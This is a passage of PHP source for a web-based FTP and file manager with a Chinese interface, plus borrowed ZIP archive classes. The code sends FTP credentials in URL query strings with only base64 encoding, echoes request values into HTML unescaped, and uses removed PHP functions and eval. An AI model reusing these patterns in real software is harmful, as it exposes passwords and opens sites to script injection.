		//$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($cur_dir)."\">$fileperm</a></td>";
		if ($a_size == "-1") $return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&ftp_ddown=".urlencode($p_pwd)."\">下载</a> | <a href=\"?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&deldir=".urlencode($p_pwd)."\">删除</a></td>";
		else $return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&ftp_down=".urlencode($p_pwd)."\">下载</a> | <a href=\"?action=ftp_editfile&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=".urlencode($p_pwd)."\">编辑</a> | <a href=\"?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&delfile=".urlencode($p_pwd)."\">删除</a> | <a href=\"?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&rename=".urlencode($p_pwd)."\">改名</a></td>";
		$return .= "</tr>";
                        			
 			}
      }  
       
       @ftp_quit($ftpstream);
        $return .="</table>";
        $return .= $this->showfooter();
        return $return;
        
        
}




function ftp_editfile()
{
      global $r_admin;
      $host = $this->input[host];
      $ftpport = $this->input[ftpport];
      $ftpuser = $this->input[ftpuser];
      $ftppasswd = $this->input[ftppasswd];
      $deldir  = $this->input[deldir];
      $delfile = $this->input[delfile];
      $delyes  = $this->input[delyes];
      $dir  = $this->input[dir];
      $u_dir  = $this->input[u_dir];
      
      
      
      
        $this->input['dir'] = str_replace("//","/",$this->input['dir']);
        
        if ($ftpuser != "anonymous" && $ftppasswd !="ftp@ftp.com" && $this->input[flag] != "")
      	{
     		 $ftpuser = base64_decode($ftpuser);
     		 $ftppasswd = base64_decode($ftppasswd);
	}
        $ftpstream = @ftp_connect($host, $ftpport);
        $true =  @ftp_login($ftpstream, $ftpuser, $ftppasswd);
        $return  = $this->showhead($r_admin[b_name]);
        
        $edit_filename = $this->input['dir'];
        $fc_pwd =  str_replace('\\\\','/',dirname(__FILE__));
        $tempfile = $fc_pwd.$r_admin[tmp_file];
      	$return .="

  <br>
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
       <td>
	FTP文本编辑器
       </td>
   </tr>
	<form method='post' action=\"?action=ftp_fileup&saveflag=1&dir=".urlencode($this->input['dir'])."\" enctype='multipart/form-data'>
		<td align=center valign=top bgcolor='EEEEEE'>当前编辑文件名: $edit_filename
			<input name=\"editfilename\" type=\"hidden\" class=\"style1\" value='".$tempfile."' size=30>
			
			<input type='hidden' name='host' value=\"$host\">
       			<input type='hidden' name='ftpport' value=\"$ftpport\">
        		<input type='hidden' name='ftpuser' value=\"$ftpuser\">
        		<input type='hidden' name='ftppasswd' value=\"$ftppasswd\">
			<textarea name=\"editfiletext\" cols=80 rows=20 class=\"style1\">
";
 
             
       $fd = @fopen("$tempfile", "w");
       @ftp_fget($ftpstream, $fd, $edit_filename, FTP_BINARY);

        $df_name = basename("$tempfile");
	//$df_name = $this->input[downfile];
	//echo $df_name;
        $df_fhd=@fopen("$tempfile","rb");
        if($df_fhd==false) $errordownload = "打开文件错误";
        else{

				$cur_dir = urlencode(dirname($this->input['dir']));
				
				$readfbuff = @fread($df_fhd, @filesize("$tempfile"));
				@fclose( $df_fhd );
				$readfbuff = htmlspecialchars($readfbuff);

       			$return .=$readfbuff;
$return .="			
                        </textarea><p>
			<input name=\"editfileb\" type=\"submit\" value=\"提交\">&nbsp;&nbsp;
			<input name=\"editagainb\" type=\"reset\" value=\"重置\">

			<p align='center'><a href=\"javascript:history.go(-1);\">--返回--</a></p>
		</td>
	</form>
        </table>
        
";
}
        $return .= $this->showfooter();
        return $return;
}



// ---------------------------------------------------------------------
//
// FTP上传保存文件 
//
// ---------------------------------------------------------------------
function ftp_fileup()
{
      global $r_admin;
      $host = $this->input[host];
      $ftpport = $this->input[ftpport];
      $ftpuser = $this->input[ftpuser];
      $ftppasswd = $this->input[ftppasswd];
      $c_dir = $this->input[dir];
      $u = urlencode(base64_encode($ftpuser));
      $p = urlencode(base64_encode($ftppasswd));
      $userfile = $_FILES['userfile'];
      
      $fc_pwd =  str_replace('\\\\','/',dirname(__FILE__));
      $tempfile = $fc_pwd.$r_admin[tmp_file];
      $filedir = $fc_pwd;
      
      $true_name = $userfile['name'];
      $remote_file = $c_dir."/".$userfile['name'];
      $userfile['name'] = substr($r_admin[tmp_file],1,100);
        
        if ($ftpuser != "anonymous" && $ftppasswd !="ftp@ftp.com" && $this->input[flag] != "")
      	{
     		 $ftpuser = base64_decode($ftpuser);
     		 $ftppasswd = base64_decode($ftppasswd);
	}
        $ftpstream = @ftp_connect($host, $ftpport);
        $true =  @ftp_login($ftpstream, $ftpuser, $ftppasswd);
        
       if ($this->input[saveflag] == 1) {
       	
       	
       	$remote_file = $this->input[dir];
       	
       	$editfileb = $this->input['editfileb'];
	$editbackfile = $this->input['editbackfile'];
	$editfilename = $this->input['editfilename']; 
	$editfiletext = $this->input['editfiletext'];
			if(isset($editfileb)&&isset($editfilename)){
				if(isset($editbackfile)&&($editbackfile == 1)) 
				{ 
					if( @copy($editfilename,$editfilename.".bak"))
                                        $return1 .="生成备份文件成功.<p>";
                                        else $return1 .="生成备份文件成功<p>";
					}
				$fd = @fopen($editfilename, "w");
				if($fd == false) $return1 .="打开文件[$editfilename]错误.";
				else{
					if(@fwrite($fd,$editfiletext))
                                         $return1 .="编辑文件[$editfilename]成功!";
                                        else  $return1 .="写入文件文件[$editfilename]错误";
					@fclose( $fd );
					
					
				}
			}
     
        
       	
       	
       	$upok1 = @ftp_put($ftpstream, $remote_file, $tempfile, FTP_BINARY);
       	
       	if ($upok1) {
   	
   	   
     	   $return .="
	  文件[{$remote_file}]保存成功.
	  ";
       }
       else {
     
   	   $return .="
          文件[{$remote_file}]保存失败. 
	  ";

       }
       
       $c_dir = dirname($c_dir);
}
else
      {
        if (@copy($userfile["tmp_name"],"{$filedir}/{$userfile['name']}")) 
	{
	        $upok = true;
	}
	else
	{
                $upok = false;
   	}
      
      
  if($upok==false) 
     { 
        //读取文件内容 
	@$fp=fopen($userfile['tmp_name'],"rb"); 
        @$filecontent=fread($fp,$userfile['size']); 
        @fclose($fp); 
        @$fp2=fopen("$filedir/$userfile[name]","wb"); 
        if(@fwrite($fp2,$filecontent,$userfile['size'])) 
         { 
           $upok=true; 
         } 
        @fclose($fp2); 
      } 
      

   if ($upok == true) $upok1 = @ftp_put($ftpstream, $remote_file, $userfile[name], FTP_BINARY);


   if ($upok1) {
   	
   	   
     	   $return .="
	  上传文件[{$true_name}]成功.位置:[{$remote_file}]共({$userfile[size]})字节.
	  ";
   }
   if ($upok1 == false || $upok == false) {
     
   	   $return .="
          上传文件[{$true_name}]到[{$remote_file}]失败. 
	  ";

   }

}
   
       $this->Redirect("$return", $r_admin[url]."?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=".urlencode($c_dir));



}

// ---------------------------------------------------------------------
//
// FTP类是借用的 
//
// ---------------------------------------------------------------------

function getRecursive($baseDir,$file){
	//echo "$baseDir/$file";
		$files = $this->ftpRawList($baseDir . "/$file");
//echo "$baseDir/$file";
		for ($x = 0; $x < count($files); $x++){
			if ($files[$x]["name"] != '.' or $files[$x]["name"] != '..') {
				$downloadLocation = $this->downloadDir  . ereg_replace($this->currentDir."/",$this->userDir."/",$baseDir . "/$file/");
				$downloadLocation = ereg_replace("//","/",$downloadLocation);
				
				$ftpFileDir = ereg_replace($this->currentDir . "/","",$baseDir . "/$file/");
				//print $downloadLocation . "(" . $baseDir . "/$file/" . ")<br>";
				@mkdir($downloadLocation);

				if ($files[$x]["is_dir"]==1)
				{
					$this->getRecursive($baseDir . "/$file/",$files[$x]["name"]);
				} else {
					$localFile = $this->downloadDir . $this->userDir . "/" . ereg_replace($this->currentDir . "/","",$baseDir . "/$file/") . $files[$x]["name"];;
					$remoteFile = $baseDir . "/" . $file . "/" . $files[$x]["name"];
					
					if($this->resumeDownload) {
						$fp = @fopen($localFile, "a+");
						$ok = @ftp_fget($this->connection,$fp,"$remoteFile",$this->mode, filesize($localFile));
					} else {
						$fp = @fopen($localFile, "w");
						$ok = @ftp_fget($this->connection,$fp,"$remoteFile",$this->mode);
					}
					fclose($fp);
				}
			}
		}
	}


	function ftpRawList($directory) {
		if($directory=="") {
			$directory = $this->currentDir;
		}
		$list=Array();
		$list = ftp_rawlist($this->connection, "-a " . $directory);
		
		if ($this->systype == "UNIX")
		{
			//$regexp = "([-ldrwxs]{10})[ ]+([0-9]+)[ ]+([A-Z|0-9|-]+)[ ]+([A-Z|0-9|-]+)[ ]+([0-9]+)[ ]+([A-Z]{3}[ ]+[0-9]{1,2}[ ]+[0-9|:]{4,5})[ ]+(.*)";
			//$regexp = "([-ldrwxs]{10})[ ]+([0-9]+)[ ]+([A-Z|0-9|-|_]+)[ ]+([A-Z|0-9|-|_]+)[ ]+([0-9]+)[ ]+([A-Z]{3}[ ]+[0-9]{1,2}[ ]+[0-9|:]{4,5})[ ]+(.*)";
			$regexp = "([-ltdrwxs]{10})[ ]+([0-9]+)[ ]+([A-Z|0-9|-|_]+)[ ]+([A-Z|0-9|-|_]+)[ ]+([0-9]+)[ ]+([A-Z]{3}[ ]+[0-9]{1,2}[ ]+[0-9|:]{4,5})[ ]+(.*)";
			$i=0;
			foreach ($list as $line) 
			{
				$is_dir = $is_link = FALSE;
				$target = "";

				if (eregi($regexp, $line, $regs))
				{
					if (!eregi("^[.]", $regs[7])) //hide hidden files
					if (!eregi("^[.]{2}", $regs[7])) // don't hide hidden files
					{
						$i++;
						if (eregi("^[d]", $regs[1]))
						{
							$is_dir = TRUE;
						}
						elseif (eregi("^[l]", $regs[1])) 
						{ 
							$is_link = TRUE;
							list($regs[7], $target) = split(" -> ", $regs[7]);
						}

						//Get extension from file name
						$regs_ex = explode(".",$regs[7]);
						if ((!$is_dir)&&(count($regs_ex) > 1))
						   $extension = $regs_ex[count($regs_ex)-1];
						else $extension = "";

						$files[$i] = array (
						"is_dir"	=> $is_dir,
						"extension"	=> $extension,
						"name"		=> $regs[7],
						"perms"		=> $regs[1],
						"num"		=> $regs[2],
						"user"		=> $regs[3],
						"group"		=> $regs[4],
						"size"		=> $regs[5],
						"date"		=> $regs[6],
						"is_link"	=> $is_link,
						"target"	=> $target );						
					}
				}
			}
		}
		else
		{
			$regexp = "([0-9\-]{8})[ ]+([0-9:]{5}[APM]{2})[ ]+([0-9|<DIR>]+)[ ]+(.*)";
			foreach ($list as $line) 
			{
				$is_dir = false;
				if (eregi($regexp, $line, $regs)) 
				{
					if (!eregi("^[.]", $regs[4]))
					{
						if($regs[3] == "<DIR>")
						{
							$is_dir = true;
							$regs[3] = '';
						}
						$i++;
	
						// Get extension from filename
						$regs_ex = explode(".",$regs[4]);
						if ((!$is_dir)&&(count($regs_ex) > 1))
						   $extension = $regs_ex[count($regs_ex)-1];
						else $extension = "";

						$files[$i] = array (
							"is_dir"	=> $is_dir,
							"extension"	=> $extension,
							"name"		=> $regs[4],
							"date"		=> $regs[1],
							"time"		=> $regs[2],
							"size"		=> $regs[3],
							"is_link"	=> 0,
							"target"	=> "",
							"num"		=> "" );
					}
				}
			}
		}
		if ( is_array($files)  AND count($files) > 0)
		{
			$files = $this->array_sort_multi($files, 1, 3);
		}
		return $files;
	}

	function deleteRecursive($conn,$baseDirectory, $file)
	{
		if ($fileList = @ftp_nlist($conn, "$baseDirectory/$file"))
		{
			for ($x = 0; $x < count($fileList); $x++)
			{
				if ($fileList[$x] != '.' && $fileList[$x] != '..' && !@ftp_delete($conn, $fileList[$x]))
				{ 
				  $fileList[$x] = basename($fileList[$x]);
			  	  if (!$this->deleteRecursive($conn,$baseDirectory."/$file",$fileList[$x])) return false;
				}
			}
			if(!@ftp_rmdir($conn, "$baseDirectory/$file")) return false;
		 }
		else if(!@ftp_rmdir($conn, "$baseDirectory/$file")) return false; 
	return true;
	}

function array_sort_multi($array, $key,$key2)

	{
	  foreach ($array as $i => $k) { 
		   if(! empty($array[$i][$key][$key2])){
		   $sort_values[$i] = $array[$i][$key][$key2];
		   }else{
		   $sort_values[$i] = $array[$i];
		   }
	  } 
	  asort ($sort_values);
	  reset ($sort_values);
	  while (list ($arr_keys, $arr_values) = each ($sort_values)) {
			 $sorted_arr[] = $array[$arr_keys];
	  }
	  return $sorted_arr;
	}


//=================================================
// FTP类结束
//=================================================

function index()
{
	global $r_admin;
      
	$return  = $this->showhead($r_admin[b_name]);
        $return .= $this->indexshow();
        $return .= $this->showfooter();
        return $return; 

}



}

// ---------------------------------------------------------------------
//
// ZIP类是借用的 
//
// ---------------------------------------------------------------------

/** SS_ZIP class is designed to work with ZIP archives
@author Yuriy Horobey, smiledsoft.com
@email info@smiledsoft.com

Added zipDirTree function to add a directory recursively

*/
class ss_zip{
	/** contains whole zipfile
	@see ss_zip::archive()
	@see ss_zip::ss_zip()
	*/
	var $zipfile="";
	/** compression level	*/
	var $complevel=6; 
	/** entry counter */
	var $cnt=0;
	/** current offset in zipdata segment */
	var $offset=0;
	/** index of current entry 
		@see ss_zip::read()
	*/
	var $idx=0;
	/**
	ZipData segment, each element of this array contains local file header plus zipped data
	*/
	var $zipdata=array();
	/**	central directory array	*/
	var $cdir=array();
	/**	constructor
	@param string zipfile if not empty must contain path to valid zip file, ss_zip will try to open and parse it.
	If this parameter is empty, the new empty zip archive is created. This parameter has no meaning in LIGHT verion, please upgrade to PROfessional version.
	@param int complevel compression level, 1-minimal compression, 9-maximal, default is 6
	*/
	function ss_zip($zipfile="",$complevel=6){
		$this->clear();
		if($complevel<1)$complevel=1;
		if($complevel>9)$complevel=9;
		$this->complevel=$complevel;
		$this->open($zipfile);
	}

	function zipDirTree($dir, $baseDir) {
	   $d = dir($dir);
	   while (false !== ($entry = @$d->read())) {
		   //If entry is a directory zip this directory
		   if($entry != '.' && $entry != '..' && is_dir($dir.$entry)) {
			   //$arDir[$entry] = $this->zipDirTree($dir.$entry."/",$baseDir);
			   $this->zipDirTree($dir.$entry."/",$baseDir);
		   }
		   //Add file to zip
		   if($entry!="." and $entry!=".." and !is_dir($dir.$entry)) {
			    //print "Addding file $dir$entry to zip under name " . str_replace($baseDir, "/", $dir.$entry) . "<br>";
				$this -> add_file($dir.$entry, str_replace($baseDir, "/", $dir.$entry));   
		   }
	   }
	   @$d->close();
	   return;
	}
	
	/**Resets the objec, clears all the structures
	*/
	function clear(){
		$this->zipfile="";
		$this->complevel=6; 
		$this->cnt=0;
		$this->offset=0;
		$this->idx=0;
		$this->zipdata=array();
		$this->cdir=array();
	}
		/**opens zip file.
		<center><hr nashade>*** This functionality is available in PRO version only. ***<br><a href='http://smiledsoft.com/demos/phpzip/' target='_blank'>please upgrade </a><hr nashade></center>
	This function opens file pointed by zipfile parameter and creates all necessary structures
	@param str zipfile path to the file
	@param bool append if true the newlly opened archive will be appended to existing object structure
	*/	
	function open($zipfile, $append=false){}
	
	
	/**saves to the disc or sends zipfile to the browser.
	@param str zipfile path under which to store the file on the server or file name under which the browser will receive it.
	If you are saving to the server, you are responsible to obtain appropriate write permissions for this operation.
	@param char where indicates where should the file be sent 
	<ul>
	<li>'f' -- filesystem </li>
	<li>'b' -- browser</li>
	</ul>
	Please remember that there should not be any other output before you call this function. The only exception is
	that other headers may be sent. See <a href='http://php.net/header' target='_blank'>http://php.net/header</a>
	*/
	function save($zipfile, $where='f'){
		if(!$this->zipfile)$this->archive();
		$zipfile=trim($zipfile);
		
		if(strtolower(trim($where))=='f'){
			 $this->_write($zipfile,$this->zipfile);
		}else{
			$zipfile = basename($zipfile);
			header("Content-type: application/octet-stream");
			header("Content-disposition: attachment; filename=\"$zipfile\"");
			print $this->archive();
		}	
	}
	
	/** adds data to zip file
	@param str filename path under which the content of data parameter will be stored into the zip archive
	@param str data content to be stored under name given by path parameter
	@see ss_zip::add_file()
	*/
	function add_data($filename,$data=null){

		$filename=trim($filename);
		$filename=str_replace('\\', '/', $filename);
		if($filename[0]=='/') $filename=substr($filename,1);

		if( ($attr=(($datasize = strlen($data))?32:16))==32 ){
			$crc	=	crc32($data);
			$gzdata = gzdeflate($data,$this->complevel);
			//$gzdata   = gzcompress($data);
			//$gzdata   = substr(substr($gzdata, 0, strlen($gzdata) - 4), 2);
			//$gzdata   = gzcompress($data);
			$gzsize	=	strlen($gzdata);
			$dir=dirname($filename);
//			if($dir!=".") $this->add_data("$dir/");
		}else{
			$crc	=	0;
			$gzdata = 	"";
			$gzsize	=	0;

		}
		$fnl=strlen($filename);
        $fh = "\x14\x00";    // ver needed to extract 
        $fh .= "\x00\x00";    // gen purpose bit flag 
        $fh .= "\x08\x00";    // compression method 
        $fh .= "\x00\x00\x00\x00"; // last mod time and date 
		$fh .=pack("V3v2",
			$crc, //crc
			$gzsize,//c size
			$datasize,//unc size
			$fnl, //fname lenght
			0 //extra field length
		);
		

		//local file header
		$lfh="PK\x03\x04";
		$lfh .= $fh.$filename;
		$zipdata = $lfh;
		$zipdata .= $gzdata;
		$zipdata .= pack("V3",$crc,$gzsize,$datasize);
		$this->zipdata[]=$zipdata;
		
		

		//Central Directory Record
		$cdir="PK\x01\x02";

		
		$cdir.=pack("va*v3V2",
		0,
		$fh,
    	0, 		// file comment length 
    	0,		// disk number start 
    	0,		// internal file attributes 
    	$attr,	// external file attributes - 'archive/directory' bit set 
		$this->offset
		).$filename;

		

		$this->offset+= 42+$fnl+$gzsize;
		$this->cdir[]=$cdir;
		$this->cnt++;
		$this->idx = $this->cnt-1;


	}
	/** adds a file to the archive
	@param str filename contains valid path to file to be stored in the arcive. 
	@param str storedasname the path under which the file will be stored to the archive. If empty, the file will be stored under path given by filename parameter
	@see ss_zip::add_data()
	*/	
	function add_file($filename, $storedasname=""){
		$fh= @fopen($filename,"r");
//		print filesize($filename);
		$data=@fread($fh,filesize($filename));
		if(!trim($storedasname))$storedasname=$filename;
		return $this->add_data($storedasname, $data);
	}
	/** compile the arcive.	
	This function produces ZIP archive and returns it.
	@return str string with zipfile
	*/
	function archive(){
		if(!$this->zipdata) return "";
		$zds=@implode('',$this->zipdata);
		$cds=@implode('',$this->cdir);
		$zdsl=strlen($zds);
		$cdsl=strlen($cds);
		$this->zipfile= 
			$zds
			.$cds
			."PK\x05\x06\x00\x00\x00\x00"
	        .pack('v2V2v2'
        	,$this->cnt			// total # of entries "on this disk" 
        	,$this->cnt			// total # of entries overall 
        	,$cdsl					// size of central dir 
        	,$zdsl					// offset to start of central dir 
        	,0
        	,0);							// .zip file comment length 
		return $this->zipfile;
	}
	/** changes pointer to current entry.
	Most likely you will always use it to 'rewind' the archive and then using read()
	Checks for bopundaries, so will not allow index to be set to values < 0 ro > last element
	@param int idx the new index to which you want to rewind the archive curent pointer 
	@return int idx the index to which the curent pointer was actually set
	@see ss_zip::read()
	*/
	function seek_idx($idx){
		if($idx<0)$idx=0;
		if($idx>=$this->cnt)$idx=$this->cnt-1;
		$this->idx=$idx;
		return $idx;
	}
	/** Reads an entry from the arcive which is pointed by inner index pointer.
		<center><hr nashade>*** This functionality is available in PRO version only. ***<br><a href='http://smiledsoft.com/demos/phpzip/' target='_blank'>please upgrade </a><hr nashade></center>
	The curent index can be changed by seek_idx() method.
	@return array Returns associative array of the following structure
	<ul>
	<li>'idx'=>	index of the entry </li>
	<li>'name'=>full path to the entry </li>
	<li>'attr'=>integer file attribute of the entry </li>
	<li>'attrstr'=>string file attribute of the entry <br>
	This can be:
		 <ul>
			 <li>'file' if the integer attribute was 32</li>
			 <li>'dir'  if the integer attribute was 16 or 48</li>
			 <li>'unknown' for other values</li>
		 </ul>
	</li>
	</ul>
	@see ss_zip::seek_idx()
	*/
	function read(){}
	
	
	
	/** Removes entry from the archive.
	please be very carefull with this function, there is no undo after you save the archive
	@return bool true on success or false on failure
	@param int idx
	*/
	function remove($idx){}
	
	
	
	/** extracts data from the archive and return it as a string.
		<center><hr nashade>*** This functionality is available in PRO version only. ***<br><a href='http://smiledsoft.com/demos/phpzip/' target='_blank'>please upgrade </a><hr nashade></center>
	This function returns data identified by idx parameter. 
	@param int idx index of the entry
	@return array returns associative array of the folloving structure:
	 <ul>
		 <li>'file' path under which the entry is stored in the archive</li>
		 <li>'data' In case if the entry was file, contain its data. For directory entry this is empty</li>
		 <li>'size' size of the data</li>
		 <li>'error' the error if any has happened. The bit 0 indicates incorect datasize, bit 1 indicates CRC error</li>
	 </ul>
	@see ss_zip::extract_file
	*/
	function extract_data($idx){}
	
	
	/** extracts the entry and creates it in the file system.
		<center><hr nashade>*** This functionality is available in PRO version only. ***<br><a href='http://smiledsoft.com/demos/phpzip/' target='_blank'>please upgrade </a><hr nashade></center>
	@param int idx Index of the entry
	@param string path the first part of the path where the entry will be stored. So if this 
	is '/my/server/path' and entry is arhived/file/path/file.txt then the function will attempt to
	store it under /my/server/path/arhived/file/path/file.txt You are responsible to ensure that you
	have write permissions for this operation under your operation system. 
	*/
	function extract_file($idx,$path="."){}
	
	
	function _check_idx($idx){
		return $idx>=0 and $idx<$this->cnt;
	}
	function _write($name,$data){
		$fp=@fopen($name,"w");
		@fwrite($fp,$data,strlen($data));
		@fclose($fp);
	}
}



class newzip //ZIP压缩类
{

 var $datasec, $ctrl_dir = array();
 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
 var $old_offset = 0; var $dirs = Array(".");

 function get_List($zip_name)
 {
   $zip = @fopen($zip_name, 'rb');
   if(!$zip) return(0);
   $centd = $this->ReadCentralDir($zip,$zip_name);

    @rewind($zip);
    @fseek($zip, $centd['offset']);

   for ($i=0; $i<$centd['entries']; $i++)
   {
    $header = $this->ReadCentralFileHeaders($zip);
    $header['index'] = $i;$info['filename'] = $header['filename'];
    $info['stored_filename'] = $header['stored_filename'];
    $info['size'] = $header['size'];$info['compressed_size']=$header['compressed_size'];
    $info['crc'] = strtoupper(dechex( $header['crc'] ));
    $info['mtime'] = $header['mtime']; $info['comment'] = $header['comment'];
    $info['folder'] = ($header['external']==0x41FF0010||$header['external']==16)?1:0;
    $info['index'] = $header['index'];$info['status'] = $header['status'];
    $ret[]=$info; unset($header);
   }
  return $ret;
 }
 function Add($files,$compact)
 {
  if(!is_array($files[0])) $files=Array($files);

  for($i=0;$files[$i];$i++){
    $fn = $files[$i];
    if(!in_Array(dirname($fn[0]),$this->dirs))
     $this->add_Dir(dirname($fn[0]));
    if(basename($fn[0]))
     $ret[basename($fn[0])]=$this->add_File($fn[1],$fn[0],$compact);
  }
  return $ret;
 }

 function get_file()
 {
   $data = implode('', $this -> datasec);
   $ctrldir = implode('', $this -> ctrl_dir);

   return $data . $ctrldir . $this -> eof_ctrl_dir .
    pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).
    pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
 }

 function add_dir($name) 
 { 
   $name = str_replace("\\", "/", $name); 
   $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 

   $fr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); 
   $fr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); 
   $this -> datasec[] = $fr;

   $new_offset = strlen(implode("", $this->datasec)); 

   $cdrec = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
   $cdrec .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); 
   $cdrec .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); 
   $ext = "\xff\xff\xff\xff"; 
   $cdrec .= pack("V", 16 ).pack("V", $this -> old_offset ).$name; 

   $this -> ctrl_dir[] = $cdrec; 
   $this -> old_offset = $new_offset; 
   $this -> dirs[] = $name;
 }

 function add_File($data, $name, $compact = 1)
 {
   $name     = str_replace('\\', '/', $name);
   $dtime    = dechex($this->DosTime());

   $hexdtime = '\x' . $dtime[6] . $dtime[7].'\x'.$dtime[4] . $dtime[5]
     . '\x' . $dtime[2] . $dtime[3].'\x'.$dtime[0].$dtime[1];
   eval('$hexdtime = "' . $hexdtime . '";');

   if($compact)
   $fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime;
   else $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00".$hexdtime;
   $unc_len = strlen($data); $crc = crc32($data);

   if($compact){
     $zdata = gzcompress($data); $c_len = strlen($zdata);
     $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
   }else{
     $zdata = $data;
   }
   $c_len=strlen($zdata);
   $fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
   $fr .= pack('v', strlen($name)).pack('v', 0).$name.$zdata;

   $fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);

   $this -> datasec[] = $fr;
   $new_offset        = strlen(implode('', $this->datasec));
   if($compact)
        $cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00";
   else $cdrec = "\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00";
   $cdrec .= $hexdtime.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
   $cdrec .= pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 );
   $cdrec .= pack('v', 0 ).pack('v', 0 ).pack('V', 32 );
   $cdrec .= pack('V', $this -> old_offset );

   $this -> old_offset = $new_offset;
   $cdrec .= $name;
   $this -> ctrl_dir[] = $cdrec;
   return true;
 }

 function DosTime() {
   $timearray = getdate();
   if ($timearray['year'] < 1980) {
     $timearray['year'] = 1980; $timearray['mon'] = 1;
     $timearray['mday'] = 1; $timearray['hours'] = 0;
     $timearray['minutes'] = 0; $timearray['seconds'] = 0;
   }
   return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) |     ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | 
    ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
 }

 function Extract ( $zn, $to, $index = Array(-1) )
 {
   $ok = 0; $zip = @fopen($zn,'rb');
   if(!$zip) return(-1);
   $cdir = $this->ReadCentralDir($zip,$zn);
   $pos_entry = $cdir['offset'];

   if(!is_array($index)){ $index = array($index);  }
   for($i=0; $index[$i];$i++){
     if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries'])
      return(-1);
   }

   for ($i=0; $i<$cdir['entries']; $i++)
   {
     @fseek($zip, $pos_entry);
     $header = $this->ReadCentralFileHeaders($zip);
     $header['index'] = $i; $pos_entry = ftell($zip);
     @rewind($zip); fseek($zip, $header['offset']);
     if(in_array("-1",$index)||in_array($i,$index))
      $stat[$header['filename']]=$this->ExtractFile($header, $to, $zip);
      
   }
   fclose($zip);
   return $stat;
 }

  function ReadFileHeader($zip)
  { 
    $binary_data = fread($zip, 30);
    $data = @unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data);

    $header['filename'] = fread($zip, $data['filename_len']);
    if ($data['extra_len'] != 0) {
      $header['extra'] = fread($zip, $data['extra_len']);
    } else { $header['extra'] = ''; }

    $header['compression'] = $data['compression'];$header['size'] = $data['size'];
    $header['compressed_size'] = $data['compressed_size'];
    $header['crc'] = $data['crc']; $header['flag'] = $data['flag'];
    $header['mdate'] = $data['mdate'];$header['mtime'] = $data['mtime'];

    if ($header['mdate'] && $header['mtime']){
     $hour=($header['mtime']&0xF800)>>11;$minute=($header['mtime']&0x07E0)>>5;
     $seconde=($header['mtime']&0x001F)*2;$year=(($header['mdate']&0xFE00)>>9)+1980;
     $month=($header['mdate']&0x01E0)>>5;$day=$header['mdate']&0x001F;
     $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
    }else{$header['mtime'] = time();}

    $header['stored_filename'] = $header['filename'];
    $header['status'] = "ok";
    return $header;
  }

 function ReadCentralFileHeaders($zip){
    $binary_data = fread($zip, 46);
    $header = @unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data);

    if ($header['filename_len'] != 0)
      $header['filename'] = fread($zip,$header['filename_len']);
    else $header['filename'] = '';

    if ($header['extra_len'] != 0)
      $header['extra'] = fread($zip, $header['extra_len']);
    else $header['extra'] = '';

    if ($header['comment_len'] != 0)
      $header['comment'] = fread($zip, $header['comment_len']);
    else $header['comment'] = '';

    if ($header['mdate'] && $header['mtime'])
    {
      $hour = ($header['mtime'] & 0xF800) >> 11;
      $minute = ($header['mtime'] & 0x07E0) >> 5;
      $seconde = ($header['mtime'] & 0x001F)*2;
      $year = (($header['mdate'] & 0xFE00) >> 9) + 1980;
      $month = ($header['mdate'] & 0x01E0) >> 5;
      $day = $header['mdate'] & 0x001F;
      $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
    } else {
      $header['mtime'] = time();
    }
    $header['stored_filename'] = $header['filename'];
    $header['status'] = 'ok';
    if (substr($header['filename'], -1) == '/')
      $header['external'] = 0x41FF0010;
    return $header;
 }

 function ReadCentralDir($zip,$zip_name)
 {
 	
  $size = filesize($zip_name);
  if ($size < 277) $maximum_size = $size;
  else $maximum_size=277;

